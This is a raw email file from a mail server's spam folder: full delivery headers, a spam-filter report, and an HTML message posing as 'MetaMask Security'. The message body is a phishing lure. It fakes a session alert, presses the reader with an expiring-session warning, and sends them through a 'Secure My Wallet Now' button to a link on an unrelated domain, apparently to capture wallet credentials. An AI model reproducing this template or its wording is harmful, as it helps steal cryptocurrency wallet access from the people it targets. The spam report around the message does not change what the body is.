File: /home2/hansardh/mail/.spam/new/1745192591.M744325P3670418.hp4.hostpido.com,S=6986,W=7111
Return-Path: <postmaster@7e6fd62e0b.nxcli.io>
Delivered-To: hansardh+spam@hp4.hostpido.com
Received: from hp4.hostpido.com
by hp4.hostpido.com with LMTP
id VCQkLI+GBWiSATgA6hbwcw
(envelope-from <postmaster@7e6fd62e0b.nxcli.io>)
for <hansardh+spam@hp4.hostpido.com>; Mon, 21 Apr 2025 02:43:11 +0300
Return-path: <postmaster@7e6fd62e0b.nxcli.io>
Envelope-to: info@hansardhomes.co.ke
Delivery-date: Mon, 21 Apr 2025 02:43:11 +0300
Received: from cloudhost-3907320.us-midwest-1.nxcli.net ([8.29.157.123]:27320)
by hp4.hostpido.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.97.1)
(envelope-from <postmaster@7e6fd62e0b.nxcli.io>)
id 1u6eJZ-0000000FOln-3sxN
for info@hansardhomes.co.ke;
Mon, 21 Apr 2025 02:43:11 +0300
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=7e6fd62e0b.nxcli.io;
b=CFCgKwsqQz/4UtD6yfm6ZyjZb3uaDoQH6fOd71YL+aVm4nJLQsvuD6u1zamakeAYtp8g41AK+jEM3D1tR5on0j3+Z6fPqtibcrYgzI69tpSLAMQFIm2+MhrYkC+Z90soGB+rGIMta3ka7C5iQLGu4fZx4dKFu9vd3j+SUXzxN1l3pONcho78zmumkfHTjdeF/3qRi3VzEcKzU884EdGLSf5z/RIVQu3eak386BRQGR4iWzlBxawNncusEyat4t4SugiLA3VBFvcgd2apOVvdQBax2SL2sZbCkoTIHkAcmBhp5QihSI/jymt198ymb1GHreDeUR8LQCPwOUwA92Noqg==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:Content-Type:X-Mailer-ID:X-Origin-IP:X-Message-ID:X-Origin-Time:X-Campaign-ID:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=7e6fd62e0b.nxcli.io; h=
date:message-id:to:subject:from:reply-to:content-type
:list-unsubscribe; s=default; bh=U++ZvYjCtdbxR1H9wNKO+9BlRPA=; b=
EJqfUiRaSj3RwKBrCMr89w8eNjbrn7rv8Ciy7F9g0fI91UMjM1EdHnvp+lKrmT0N
UMbpjtVdZ6RVzicoBpufrpy2KvGHpineAO6h0b3VYUCMDDVjhnn9+kR15xg6/yVO
2Vl+POtcvnjoKdgcvaosH/5yDXPwcQJPqio3oo8rz2EqsR2oiuGf2QDiJ2EU00XF
CYBHKWht+1kIm6rIEp0bjSD28EMelWG02eCqQqUG2/sBe4NsBpMra3BCoQhlG0XW
olrfFcas08nww4UWJZxLtzOIWt5jy6R/c+PnQtdZDXcoJei5cg4sDBlC1OdHrskF
ISs0U6pbOqasDrtYItvgkw==
Received: (qmail 22896 invoked by uid 10169); 20 Apr 2025 23:42:27 +0000
Date: 20 Apr 2025 23:42:27 +0000
Message-ID: <20250420234227.22892.qmail@cloudhost-3907320.us-midwest-1.nxcli.net>
To: info@hansardhomes.co.ke
X-PHP-Originating-Script: 10169:waz.php
From: MetaMask Security <e9bad59fcc91e520e30b445f80ded3a1@wallet-support.net>
Reply-To: no-reply@2fa.com
Content-Type: text/html; charset=UTF-8
X-Mailer-ID: 680586630f60a
X-Origin-IP: 192.168.1.215
X-Message-ID: 5491f35875f8fee690e93b1eda151c2e
X-Origin-Time: 2025-04-20 23:42:27
X-Campaign-ID: c639c78c9a6b536d
List-Unsubscribe: <mailto:unsubscribe@2fa.com>
X-Spam-Status: Yes, score=7.8
X-Spam-Score: 78
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "hp4.hostpido.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Verify Your Wallet Access We detected an update to your session
activity. To maintain uninterrupted access, please confirm your identity
below. Activating Two-Factor Authentication (2FA) helps secure your wallet
against unauthorized access—even if your password is known.
Content analysis details: (7.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: nxcli.io]
0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to
dbl.spamhaus.org was blocked due to usage
of an open resolver. See
https://www.spamhaus.org/returnc/pub/
[URIs: nxcli.io]
0.3 FROM_LOCAL_HEX From: localpart has long hexadecimal sequence
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of
words
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
0.1 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required
MIME headers
X-Spam-Flag: YES
Subject: ***SPAM*** =?UTF-8?B?U2VjdXJpdHkgQWxlcnQ6IFZlcmlmeSBZb3VyIE1ldGFNYXNrIEFjY291bnQ=?=
<!DOCTYPE html>
<html>
<body style="margin:0;padding:20px;font-family:Arial,sans-serif;background-color:#fff;color:#333;">
<table width="100%" cellpadding="0" cellspacing="0" style="max-width:600px;margin:auto;border:1px solid #ddd;border-radius:6px;">
<tr>
<td style="background-color:#fff;padding:20px;text-align:center;">
<img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" width="60" alt="Access Logo" style="margin-bottom:20px;">
<h2 style="color:#f6851b;font-size:20px">Verify Your Wallet Access</h2>
</td>
</tr>
<tr>
<td style="padding:20px;">
<p>We detected an update to your session activity. To maintain uninterrupted access, please confirm your identity below.</p>
<p>Activating Two-Factor Authentication (2FA) helps secure your wallet against unauthorized access—even if your password is known.</p>
<p style="text-align:center;margin:30px 0">
<a href="https://chika-tayo.com/nt/?id=6594124908345570513-3492" style="background-color:#f6851b;color:#fff;text-decoration:none;padding:12px 22px;border-radius:5px;font-weight:bold">🔒 Secure My Wallet Now</a>
</p>
<p style="text-align:center;font-size:13px;color:#777;">For your protection, this session will expire shortly.</p>
<p>If this wasn't initiated by you, please disregard this message.</p>
<p>Regards,<br>Support Team</p>
</td>
</tr>
<tr>
<td style="background-color:#f2f2f2;text-align:center;font-size:12px;color:#888;padding:10px;border-top:1px solid #ddd;">
© 2025 Account Services. All rights reserved.
</td>
</tr>
</table>
</body>
</html>
<!-- Random-ID: 680586630f61c -->